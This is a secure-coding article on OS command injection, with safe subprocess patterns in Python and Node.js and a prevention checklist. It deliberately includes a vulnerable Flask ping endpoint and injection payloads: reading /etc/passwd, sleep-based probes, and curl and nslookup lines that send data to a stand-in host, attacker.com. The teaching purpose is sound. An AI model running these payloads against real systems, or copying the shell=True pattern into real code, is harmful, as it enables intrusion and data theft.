Command Injection:
When Your App Becomes a Terminal for Attackers

What Command Injection Is

Command injection (OS command injection) occurs when user-supplied input is passed to a system shell command without proper sanitisation, allowing an attacker to append additional shell commands that the server executes. The attacker isn't exploiting a memory vulnerability or a zero-day — they're abusing the shell's command parsing to make the server run commands of their choosing.

This appears wherever an application shells out to run external programs: image processing (ImageMagick, ffmpeg), network utilities (ping, nslookup), file conversion tools, security scanners, CI/CD build steps, anything that calls subprocess, exec(), or system() with user-controlled values.

How It Works — The Classic Example

A web app lets users ping a host to check connectivity. The backend runs the OS ping command with the user-provided hostname:

import subprocess
from flask import request

# Vulnerable — user input goes directly into shell command string
@app.post("/ping")
def ping():
    host = request.json.get("host")
    result = subprocess.run(
        f"ping -c 1 {host}",
        shell=True,
        capture_output=True, text=True
    )
    return result.stdout

A legitimate user sends {"host": "8.8.8.8"}. An attacker sends {"host": "8.8.8.8; cat /etc/passwd"}. The shell processes both commands: ping runs, then cat /etc/passwd runs, and the output comes back in the response.

Blind Command Injection (Time-based)

Often the application doesn't return command output — but the vulnerability is still exploitable. Time-based detection uses the sleep command: if injecting ; sleep 10 causes a 10-second delay in the response, command injection is confirmed.

# Time-based detection — 10 second delay confirms injection
8.8.8.8; sleep 10
8.8.8.8 && sleep 10
8.8.8.8 | sleep 10
`sleep 10`
$(sleep 10)

# Out-of-band exfiltration
8.8.8.8; curl http://attacker.com/$(whoami)
8.8.8.8; nslookup $(cat /etc/passwd | base64).attacker.com

Chaining Commands

The shell provides multiple operators for command chaining, each with different execution conditions:

• ; — run both commands regardless of exit code
• && — run second command only if first succeeds
• || — run second command only if first fails
• | — pipe output of first to second
• `cmd` or $(cmd) — command substitution, output inserted inline
• & — run in background

Simple blacklisting of ; doesn't help — attackers use the other operators. Input validation by allowlist (only allow alphanumeric + dots for an IP address) is much more robust, but the real fix is avoiding the shell entirely.

Why shell=True in Python Is Dangerous

When you pass shell=True to subprocess.run(), Python passes the command to the OS shell (/bin/sh -c). The shell then parses it — which means shell metacharacters like ;, &&, $() are interpreted as commands, not data.

import subprocess

# WRONG — shell=True with user input is command injection
subprocess.run(f"convert {user_filename} output.png", shell=True)

# RIGHT — pass as a list, no shell involved
subprocess.run(
    ["convert", user_filename, "output.png"],
    shell=False,  # default, but explicit is better
    check=True
)

# Even better — validate filename before passing to subprocess
import re
if not re.match(r'^[\w\-\.]+$', user_filename):
    raise ValueError("Invalid filename")
subprocess.run(["convert", user_filename, "output.png"], check=True)

When you pass a list, Python passes each element as a separate argument directly to the process — no shell parsing, no metacharacter interpretation. The attacker's ; cat /etc/passwd becomes a literal argument to the program, which doesn't know what to do with it and typically fails harmlessly.

Safe Subprocess Usage Patterns

import subprocess, shlex

# Pattern 1: List form — preferred
result = subprocess.run(
    ["ffmpeg", "-i", input_path, "-codec:v", "copy", output_path],
    capture_output=True, text=True, timeout=30
)

# Pattern 2: If you must use shell=True (try not to),
# use shlex.quote to escape individual arguments
safe_arg = shlex.quote(user_input)
subprocess.run(f"some_cmd {safe_arg}", shell=True)

# Pattern 3: For network-related features, use Python libraries
# instead of shelling out to ping/nslookup/curl
import socket
socket.gethostbyname(hostname)  # DNS lookup without shell

Node.js exec vs execFile

const { exec, execFile } = require('child_process');

// WRONG — exec spawns a shell, user input interpreted as commands
exec(`ping -c 1 ${userHost}`, (err, stdout) => { ... });

// RIGHT — execFile spawns the program directly, no shell
execFile('ping', ['-c', '1', userHost], (err, stdout) => { ... });

// Also right — spawn with no shell
const { spawn } = require('child_process');
const proc = spawn('ping', ['-c', '1', userHost], { shell: false });

In Node.js: exec() and execSync() pass the command to a shell. execFile() and spawn() with shell: false do not. Always use the latter when user input is involved.

Detection with SAST

Command injection is one of SAST's strongest detection categories. The pattern is explicit: user-controlled data flows into subprocess.run(..., shell=True), os.system(), exec(), popen(), or equivalent. SAST tools trace taint from HTTP inputs to shell execution sinks and flag any path where the data isn't fully allowlisted or separated from the command structure.

Prevention Checklist

1. Never use shell=True with user input — use list form subprocess calls instead
2. Use native libraries — prefer Python's socket, requests, Pillow over shelling out
3. If shell is unavoidable, use shlex.quote() — to escape arguments before interpolation
4. Validate inputs by allowlist — IP addresses should match [0-9.]+; filenames should be alphanumeric
5. Run app processes with minimal OS privileges — a compromised process with limited permissions does less damage
6. Use execFile/spawn in Node.js — not exec/execSync when user input is involved
7. Run SAST in CI — detect dangerous subprocess patterns before they ship